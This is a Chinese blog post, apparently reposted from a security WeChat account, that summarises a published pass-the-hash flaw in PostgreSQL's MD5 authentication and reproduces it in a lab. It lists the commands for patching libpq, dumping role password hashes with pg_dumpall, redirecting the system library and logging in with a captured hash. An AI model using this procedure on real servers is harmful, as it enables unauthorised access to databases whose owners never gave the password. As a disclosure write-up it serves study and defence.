PostgreSQL数据库服务器哈希传递攻击(摘要)

  • A+
所属分类:安全文章

原文在此:https://hashcat.net/misc/postgres-pth/postgres-pth.pdf
原文内容摘要:

一、漏洞说明
PostgreSQL服务器默认使用以下函数来计算并存储用户的密码:

  1. MD5($pass.$username)


为了方便描述,这里令MD5()=H(),P=$pass.$username,下面是PostgreSQL的登录认证流程:

  1. 1)服务器产生一个4字节的随机数R

  2. 2)服务器发送R给客户端

  3. 3)客户端计算F_c=H(H(P_c).R)

  4. 4)客户端发送F_c到服务器

  5. 5)服务器的系统表里已经保存了H(P_s)

  6. 6)服务器直接计算F_s=H(H(P_s).R)并比对F_s和F_c


:P_c是客户端提交的<密码+用户名>,P_s是服务器端的<密码+用户名>,显然只要P_s=P_c就能通过认证。

问题就存在于第三步,虽然R是随机产生的,但是只要用户获得H(P_s),无需知道明文口令,直接计算出F_c发送到服务器即可通过认证。


而实际上H(P_s)直接就保存在系统表里。所以只要获得了这段hash,就可以登录到服务器上。


而且,如果其他的PostgreSQL服务器也使用了相同的用户名和口令,这段hash一样可以直接用于登录其他的PostgreSQL服务器。
另外,原文强调MD5加密方式是这个漏洞的关键。

二、漏洞测试
原文给了两个补丁,把这两个补丁其中之一打到PostgreSQL的源码上,编译一份新的客户端程序,即可支持hash登录。


下面我在自己的测试环境(kali 1.0.9,PostgreSQL 9.1)里对该漏洞进行测试:


1)先检查pg_hba.conf文件,确认服务器使用了md5对密码进行加密:

  1. cat /etc/postgresql/9.1/main/pg_hba.conf

  2. PostgreSQL数据库服务器哈希传递攻击(摘要)


2)下载PostgreSQL源码,由于要用git打补丁,所以按照原文的说明,git clone一下。

当然,也可以直接下载官网上最新的源码包,但是可能需要手动打补丁。

  1. git clone git://git.postgresql.org/git/postgresql.git

由于不知道官网上最新的源码是否已经修复此漏洞,为了方便测试,这里回滚到原文中指定的版本:

  1. cd postgresql

  2. git reset --hard ee4ddcb38a0abfdb8f7302bbc332a1cb92888ed1


3)然后给源码打上补丁,postgresql_diff_clean.txt与postgresql_diff_minimal.txt任选一个,不用都打上。

  1. wget https://hashcat.net/misc/postgres-pth/postgresql_diff_clean.txt

  2. git apply postgresql_diff_clean.txt


4)编译一下

  1. ./configure

  2. make

由于kali已经安装过PostgreSQL了,所以不需要 make install了,编译完成后,找到psql文件,直接执行即可。


5)先获取服务器上的hash,kali里面已经有一个msf3的用户了,直接获取其hash即可

  1. sudo -u postgres -i

  2. pg_dumpall -r|grep md5

PostgreSQL数据库服务器哈希传递攻击(摘要)

这里就是md5cf036f9abf7249aeea34894c16359aaf


6)找到编译好的psql文件

  1. cd src/bin/psql

  2. ./psql -V

PostgreSQL数据库服务器哈希传递攻击(摘要)

已经是9.5的了,根据postgresql_diff_clean.txt可知,原文作者主要是修改了libpq的代码,所以这里还要将libpq.so.5暂时指向刚才编译生成的新文件上。


先查看当前引用的位置

PostgreSQL数据库服务器哈希传递攻击(摘要)

  1. cp ../../interfaces/libpq/libpq.so.5.8 /usr/lib

  2. cd /usr/lib

  3. ln -fs libpq.so.5.8 libpq.so.5

PostgreSQL数据库服务器哈希传递攻击(摘要)

已经让libpq.so.5指向新生成的文件了


7)回到刚才PostgreSQL编译后生成的文件目录,用刚才抓到的hash登录数据库服务器

PostgreSQL数据库服务器哈希传递攻击(摘要)

登录成功。

用另外一个账户也测试一下:

PostgreSQL数据库服务器哈希传递攻击(摘要)

也是可以的。
到这里就测试结束了。


把刚才的libpq.so.5还原一下:

  1. cd /usr/lib

  2. ln -fs libpq.so.5.4 libpq.so.5

……原文剩下的内容主要是提出了漏洞修复的思路。

三、小结
根据上面的分析可知,这个漏洞主要跟PostgreSQL的服务端有关。


只要是版本低于9.5并且使用了md5方式对用户口令进行存储的服务器,都可以用hash传递的方式绕过登录验证。


推测其他操作系统下的PostgreSQL也同样会受到影响。


不知道PostgreSQL能否像MySQL那样,利用低权限用户以读文件的方式读取数据库文件。

因为PostgreSQL只有superuser可以访问pg_shadow表以及使用读文件的相关函数。


所以目前来看,这个漏洞最大的用处就是利用已经获得的hash去测试其他的PostgreSQL服务器,类似口令暴破吧,只不过可以在不知道口令明文的情况下进行暴破。



本文始发于微信公众号(T00ls):PostgreSQL数据库服务器哈希传递攻击(摘要)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: